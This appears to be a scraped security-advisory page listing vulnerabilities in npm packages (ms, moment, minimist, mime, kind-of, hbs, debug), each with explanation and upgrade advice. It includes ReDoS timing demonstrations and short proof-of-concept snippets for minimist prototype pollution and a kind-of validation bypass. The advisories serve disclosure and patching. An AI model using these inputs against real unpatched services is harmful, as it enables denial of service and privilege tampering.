ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade ms
to version 2.0.0 or higher.
References
+-
+
- GitHub PR +
- GitHub Commit +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+moment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (/[0-9]*['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+|[\u0600-\u06FF\/]+(\s*?[\u0600-\u06FF]+){1,2}/i
) in order to parse dates specified as strings. This can cause a very low impact of about 2 seconds matching time for data 50k characters long.
Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade moment
to version 2.19.3 or higher.
References
+-
+
- GitHub Issue +
- GitHub PR +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+minimist is a parse argument options module.
+Affected versions of this package are vulnerable to Prototype Pollution due to a missing handler to Function.prototype
.
+ Note: this is a bypass to CVE-2020-7598
PoC by Snyk
+require('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));
+ console.log((function(){}).foo); // bar
+
+ Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade minimist
to version 1.2.6 or higher.
References
+-
+
- Fix Commit +
- GitHub Issue +
- Vulnerable Code +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+mime is a comprehensive, compact MIME type module.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It uses regex the following regex /.*[\.\/\\]/
in its lookup, which can cause a slowdown of 2 seconds for 50k characters.
Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade mime
to version 1.4.1, 2.0.3 or higher.
References
+ + ++ + + +
Validation Bypass
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+kind-of is a package that gets the native type of a value.
+Affected versions of this package are vulnerable to Validation Bypass. It leverages the built-in constructor of unsafe user-input to detect type information. However, a crafted payload can overwrite this built in attribute to manipulate the type detection result.
+PoC by Feng Xiao
+var kindOf = require('kind-of');
+
+
+ var user_input = {
+ user: 'barney',
+ age: 36,
+ active: true,
+ "constructor":{"name":"Symbol"}
+ };
+ console.log(kindOf(user_input));
+
+ Remediation
+Upgrade kind-of
to version 6.0.3 or higher.
References
+-
+
- GitHub Issue +
- GitHub PR +
+ + + +
Information Exposure
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+hbs is an Express.js template engine plugin for Handlebars
+Affected versions of this package are vulnerable to Information Exposure. hbs
mixes pure template data with engine configuration options through the Express
render API. By overwriting internal configuration options a file disclosure vulnerability may be triggered in downstream applications.
Remediation
+There is no fixed version for hbs
.
References
+ + ++ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+debug
is a JavaScript debugging utility modelled after Node.js core's debugging technique..
debug
uses printf-style formatting. Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS) attacks via the the %o
formatter (Pretty-print an Object all on a single line). It used a regular expression (/\s*\n\s*/g
) in order to strip whitespaces and replace newlines with spaces, in order to join the data into a single line. This can cause a very low impact of about 2 seconds matching time for data 50k characters long.
Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade debug
to version 2.6.9, 3.1.0 or higher.
References
+-
+
- GitHub Issue +
- GitHub PR +
+ + + +